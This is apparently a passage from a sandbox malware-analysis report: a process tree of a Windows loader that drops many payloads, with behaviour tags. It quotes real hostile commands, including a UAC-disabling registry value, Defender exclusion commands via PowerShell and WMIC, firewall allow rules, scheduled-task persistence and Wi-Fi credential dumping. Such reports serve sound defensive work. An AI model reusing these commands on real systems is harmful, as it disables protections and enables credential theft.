memory of 2096 2692 chrome.exe chrome.exe PID 2692 wrote to memory of 2096 2692 chrome.exe chrome.exe PID 2692 wrote to memory of 2096 2692 chrome.exe chrome.exe PID 2692 wrote to memory of 4360 2692 chrome.exe chrome.exe PID 2692 wrote to memory of 4360 2692 chrome.exe chrome.exe PID 2692 wrote to memory of 1100 2692 chrome.exe chrome.exe PID 2692 wrote to memory of 1100 2692 chrome.exe chrome.exe PID 2692 wrote to memory of 1100 2692 chrome.exe chrome.exe PID 2692 wrote to memory of 1100 2692 chrome.exe chrome.exe PID 2692 wrote to memory of 1100 2692 chrome.exe chrome.exe PID 2692 wrote to memory of 1100 2692 chrome.exe chrome.exe -
System policy modification 1 TTPs 1 IoCs
Processes:
file300un.exedescription ioc process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" file300un.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\77cabe45b3738612da31d94986c46fd3a4abfeef80d3c325870b7d0a86fa4be1.exe"C:\Users\Admin\AppData\Local\Temp\77cabe45b3738612da31d94986c46fd3a4abfeef80d3c325870b7d0a86fa4be1.exe"1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\5454e6f062\explorta.exe"C:\Users\Admin\AppData\Local\Temp\5454e6f062\explorta.exe"2⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Adds Run key to start application
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\5454e6f062\explorta.exe"C:\Users\Admin\AppData\Local\Temp\5454e6f062\explorta.exe"3⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
-
C:\Users\Admin\AppData\Local\Temp\1000012001\amert.exe"C:\Users\Admin\AppData\Local\Temp\1000012001\amert.exe"3⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
-
C:\Users\Admin\1000013002\7617c78a76.exe"C:\Users\Admin\1000013002\7617c78a76.exe"3⤵
- Executes dropped EXE
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" https://www.youtube.com/account4⤵
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=110.0.5481.104 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ffe229eab58,0x7ffe229eab68,0x7ffe229eab785⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1672 --field-trial-handle=1788,i,9625364100946904184,2326362193540285851,131072 /prefetch:25⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2068 --field-trial-handle=1788,i,9625364100946904184,2326362193540285851,131072 /prefetch:85⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=2164 --field-trial-handle=1788,i,9625364100946904184,2326362193540285851,131072 /prefetch:85⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-chrome-cart --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=3024 --field-trial-handle=1788,i,9625364100946904184,2326362193540285851,131072 /prefetch:15⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-chrome-cart --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=3032 --field-trial-handle=1788,i,9625364100946904184,2326362193540285851,131072 /prefetch:15⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-chrome-cart --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --mojo-platform-channel-handle=4160 --field-trial-handle=1788,i,9625364100946904184,2326362193540285851,131072 /prefetch:15⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-chrome-cart --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --mojo-platform-channel-handle=4384 --field-trial-handle=1788,i,9625364100946904184,2326362193540285851,131072 /prefetch:15⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=4492 --field-trial-handle=1788,i,9625364100946904184,2326362193540285851,131072 /prefetch:85⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4504 --field-trial-handle=1788,i,9625364100946904184,2326362193540285851,131072 /prefetch:85⤵
- Modifies registry class
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4800 --field-trial-handle=1788,i,9625364100946904184,2326362193540285851,131072 /prefetch:85⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4880 --field-trial-handle=1788,i,9625364100946904184,2326362193540285851,131072 /prefetch:85⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5044 --field-trial-handle=1788,i,9625364100946904184,2326362193540285851,131072 /prefetch:85⤵
-
C:\Users\Admin\AppData\Local\Temp\1000014001\7d41195f4d.exe"C:\Users\Admin\AppData\Local\Temp\1000014001\7d41195f4d.exe"3⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
-
C:\Program Files\Google\Chrome\Application\110.0.5481.104\elevation_service.exe"C:\Program Files\Google\Chrome\Application\110.0.5481.104\elevation_service.exe"1⤵
-
C:\Users\Admin\AppData\Local\Temp\4d0ab15804\chrosha.exeC:\Users\Admin\AppData\Local\Temp\4d0ab15804\chrosha.exe1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
-
C:\Users\Admin\AppData\Local\Temp\1000147001\swiiiii.exe"C:\Users\Admin\AppData\Local\Temp\1000147001\swiiiii.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"3⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4344 -s 8883⤵
- Program crash
-
C:\Users\Admin\AppData\Local\Temp\1000148001\alexxxxxxxx.exe"C:\Users\Admin\AppData\Local\Temp\1000148001\alexxxxxxxx.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"3⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"3⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"3⤵
-
C:\Users\Admin\AppData\Roaming\configurationValue\keks.exe"C:\Users\Admin\AppData\Roaming\configurationValue\keks.exe"4⤵
- Executes dropped EXE
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
-
C:\Users\Admin\AppData\Roaming\configurationValue\trf.exe"C:\Users\Admin\AppData\Roaming\configurationValue\trf.exe"4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "RegAsm.exe"4⤵
-
C:\Windows\SysWOW64\choice.exechoice /C Y /N /D Y /T 35⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3676 -s 4083⤵
- Program crash
-
C:\Users\Admin\AppData\Local\Temp\1000149001\gold.exe"C:\Users\Admin\AppData\Local\Temp\1000149001\gold.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"3⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"3⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4720 -s 3883⤵
- Program crash
-
C:\Users\Admin\AppData\Local\Temp\1000150001\NewB.exe"C:\Users\Admin\AppData\Local\Temp\1000150001\NewB.exe"2⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN NewB.exe /TR "C:\Users\Admin\AppData\Local\Temp\1000150001\NewB.exe" /F3⤵
- Creates scheduled task(s)
-
C:\Users\Admin\AppData\Local\Temp\1000152001\jok.exe"C:\Users\Admin\AppData\Local\Temp\1000152001\jok.exe"2⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
-
C:\Users\Admin\AppData\Local\Temp\1000153001\swiiii.exe"C:\Users\Admin\AppData\Local\Temp\1000153001\swiiii.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"3⤵
- Loads dropped DLL
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
-
C:\Users\Admin\AppData\Local\Temp\1000181001\file300un.exe"C:\Users\Admin\AppData\Local\Temp\1000181001\file300un.exe"2⤵
- UAC bypass
- Windows security bypass
- Executes dropped EXE
- Windows security modification
- Checks whether UAC is enabled
- Suspicious use of SetThreadContext
- System policy modification
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\1000181001\file300un.exe" -Force3⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"3⤵
-
C:\Users\Admin\Pictures\rlNOp7Kno1h2LmbasjhWLrqn.exe"C:\Users\Admin\Pictures\rlNOp7Kno1h2LmbasjhWLrqn.exe"4⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\u4q0.0.exe"C:\Users\Admin\AppData\Local\Temp\u4q0.0.exe"5⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5552 -s 10966⤵
- Program crash
-
C:\Users\Admin\AppData\Local\Temp\u4q0.2\run.exe"C:\Users\Admin\AppData\Local\Temp\u4q0.2\run.exe"5⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\SysWOW64\cmd.exe6⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe7⤵
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\u4q0.3.exe"C:\Users\Admin\AppData\Local\Temp\u4q0.3.exe"5⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
-
C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe"C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe" /eieci=11A12794-499E-4FA0-A281-A9A9AA8B2685 /eipi=5488CB36-BE62-4606-B07B-2EE938868BD16⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6120 -s 15365⤵
- Program crash
-
C:\Users\Admin\Pictures\v2Vjv43t4tHT9bkOMLnMdAtW.exe"C:\Users\Admin\Pictures\v2Vjv43t4tHT9bkOMLnMdAtW.exe"4⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile5⤵
-
C:\Users\Admin\Pictures\v2Vjv43t4tHT9bkOMLnMdAtW.exe"C:\Users\Admin\Pictures\v2Vjv43t4tHT9bkOMLnMdAtW.exe"5⤵
- Executes dropped EXE
- Checks for VirtualBox DLLs, possible anti-VM trick
- Modifies data under HKEY_USERS
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile6⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
-
C:\Windows\system32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"6⤵
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes7⤵
- Modifies Windows Firewall
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile6⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile6⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5588 -s 8845⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5588 -s 9605⤵
- Program crash
-
C:\Users\Admin\Pictures\6mfAHiyBc4XM7oPwyt8JYLsj.exe"C:\Users\Admin\Pictures\6mfAHiyBc4XM7oPwyt8JYLsj.exe"4⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile5⤵
-
C:\Users\Admin\Pictures\6mfAHiyBc4XM7oPwyt8JYLsj.exe"C:\Users\Admin\Pictures\6mfAHiyBc4XM7oPwyt8JYLsj.exe"5⤵
- Executes dropped EXE
- Checks for VirtualBox DLLs, possible anti-VM trick
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile6⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
-
C:\Windows\system32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"6⤵
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes7⤵
- Modifies Windows Firewall
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile6⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile6⤵
-
C:\Windows\rss\csrss.exeC:\Windows\rss\csrss.exe6⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile7⤵
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F7⤵
- Creates scheduled task(s)
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /delete /tn ScheduledUpdate /f7⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile7⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile7⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV18⤵
-
C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exeC:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll7⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5540 -s 7205⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5540 -s 6445⤵
- Program crash
-
C:\Users\Admin\Pictures\FY89lV0dsIhtziZ3BhtAZzWQ.exe"C:\Users\Admin\Pictures\FY89lV0dsIhtziZ3BhtAZzWQ.exe" --silent --allusers=04⤵
- Executes dropped EXE
- Loads dropped DLL
- Enumerates connected drives
- Modifies system certificate store
-
C:\Users\Admin\Pictures\FY89lV0dsIhtziZ3BhtAZzWQ.exeC:\Users\Admin\Pictures\FY89lV0dsIhtziZ3BhtAZzWQ.exe --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=109.0.5097.68 --initial-client-data=0x2b0,0x2b4,0x2b8,0x28c,0x2bc,0x6bb6e1d0,0x6bb6e1dc,0x6bb6e1e85⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\FY89lV0dsIhtziZ3BhtAZzWQ.exe"C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\FY89lV0dsIhtziZ3BhtAZzWQ.exe" --version5⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Users\Admin\Pictures\FY89lV0dsIhtziZ3BhtAZzWQ.exe"C:\Users\Admin\Pictures\FY89lV0dsIhtziZ3BhtAZzWQ.exe" --backend --install --import-browser-data=0 --enable-stats=1 --enable-installer-stats=1 --consent-given=0 --general-interests=0 --general-location=0 --personalized-content=0 --personalized-ads=0 --launchopera=1 --installfolder="C:\Users\Admin\AppData\Local\Programs\Opera" --profile-folder --language=en --singleprofile=0 --copyonly=0 --allusers=0 --setdefaultbrowser=1 --pintotaskbar=1 --pintostartmenu=0 --run-at-startup=1 --show-intro-overlay --server-tracking-data=server_tracking_data --initial-pid=5680 --package-dir-prefix="C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_20240425144124" --session-guid=d18f1a97-8516-4848-8107-30921ee6597e --server-tracking-blob="YWQyMWRhNDI0YmZhMTlmMjdhOGRhMTljOWNmYWU5OWNhOTY3NTIxNjRlZTI5MzcxMThjZjA3MmQ5MTk0OTk1MDp7ImNvdW50cnkiOiJHQiIsImluc3RhbGxlcl9uYW1lIjoiT3BlcmFTZXR1cC5leGUiLCJwcm9kdWN0Ijp7Im5hbWUiOiJvcGVyYSJ9LCJxdWVyeSI6Ii9vcGVyYS9zdGFibGUvd2luZG93cy8/dXRtX21lZGl1bT1hcGImdXRtX3NvdXJjZT1ta3QmdXRtX2NhbXBhaWduPTc2N19fNDU2Iiwic3lzdGVtIjp7InBsYXRmb3JtIjp7ImFyY2giOiJ4ODZfNjQiLCJvcHN5cyI6IldpbmRvd3MiLCJvcHN5cy12ZXJzaW9uIjoiMTEiLCJwYWNrYWdlIjoiRVhFIn19LCJ0aW1lc3RhbXAiOiIxNzE0MDU2MDc4LjEyMzAiLCJ1dG0iOnsiY2FtcGFpZ24iOiI3NjdfXzQ1NiIsIm1lZGl1bSI6ImFwYiIsInNvdXJjZSI6Im1rdCJ9LCJ1dWlkIjoiMGU3YTBiMjUtMmJlYS00NzljLWIwNGEtZmNlOTRjMDdiYWEwIn0= " --silent --desktopshortcut=1 --wait-for-package --initial-proc-handle=28040000000000005⤵
- Executes dropped EXE
- Loads dropped DLL
- Enumerates connected drives
-
C:\Users\Admin\Pictures\FY89lV0dsIhtziZ3BhtAZzWQ.exeC:\Users\Admin\Pictures\FY89lV0dsIhtziZ3BhtAZzWQ.exe --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=109.0.5097.68 --initial-client-data=0x2bc,0x2c0,0x2c4,0x260,0x2c8,0x6afce1d0,0x6afce1dc,0x6afce1e86⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404251441241\assistant\Assistant_109.0.5097.45_Setup.exe_sfx.exe"C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404251441241\assistant\Assistant_109.0.5097.45_Setup.exe_sfx.exe"5⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404251441241\assistant\assistant_installer.exe"C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404251441241\assistant\assistant_installer.exe" --version5⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404251441241\assistant\assistant_installer.exe"C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404251441241\assistant\assistant_installer.exe" --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=109.0.5097.45 --initial-client-data=0x234,0x238,0x23c,0x210,0x240,0x896038,0x896044,0x8960506⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Users\Admin\Pictures\YL5tuQ3LtoLjuC3pq1EPaSbf.exe"C:\Users\Admin\Pictures\YL5tuQ3LtoLjuC3pq1EPaSbf.exe"4⤵
- Modifies firewall policy service
- Windows security bypass
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Windows security modification
- Checks whether UAC is enabled
- Drops file in System32 directory
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\Pictures\WTaCK9GXrirZJlizQT8dmwTe.exe"C:\Users\Admin\Pictures\WTaCK9GXrirZJlizQT8dmwTe.exe"4⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\7zS3FD3.tmp\Install.exe.\Install.exe /RvdidblCuX "385118" /S5⤵
- Checks BIOS information in registry
- Executes dropped EXE
- Enumerates system info in registry
-
C:\Windows\SysWOW64\forfiles.exe"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"6⤵
-
C:\Windows\SysWOW64\cmd.exe/C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True7⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True8⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\SysWOW64\Wbem\WMIC.exe"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True9⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "bWycNackLSywaqkmgR" /SC once /ST 14:42:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\JMPZeWvHhArmqROvY\NwfPJCCpQqPYDzK\PVDIpmi.exe\" em /Jzsite_idfcD 385118 /S" /V1 /F6⤵
- Drops file in Windows directory
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\c1ec479e5342a2\cred64.dll, Main2⤵
- Loads dropped DLL
-
C:\Windows\system32\rundll32.exe"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\c1ec479e5342a2\cred64.dll, Main3⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\system32\netsh.exenetsh wlan show profiles4⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Compress-Archive -Path 'C:\Users\Admin\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\Admin\AppData\Local\Temp\018789126929_Desktop.zip' -CompressionLevel Optimal4⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Users\Admin\AppData\Local\Temp\1000208001\install.exe"C:\Users\Admin\AppData\Local\Temp\1000208001\install.exe"2⤵
- Executes dropped EXE
- Drops file in Program Files directory
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\GameServerClient\installg.bat" "3⤵
-
C:\Windows\SysWOW64\sc.exeSc delete GameServerClient4⤵
- Launches sc.exe
-
C:\Program Files (x86)\GameServerClient\GameService.exeGameService remove GameServerClient confirm4⤵
- Executes dropped EXE
-
C:\Program Files (x86)\GameServerClient\GameService.exeGameService install GameServerClient "C:\Program Files (x86)\GameServerClient\GameServerClient.exe"4⤵
- Executes dropped EXE
-
C:\Program Files (x86)\GameServerClient\GameService.exeGameService start GameServerClient4⤵
- Executes dropped EXE
-
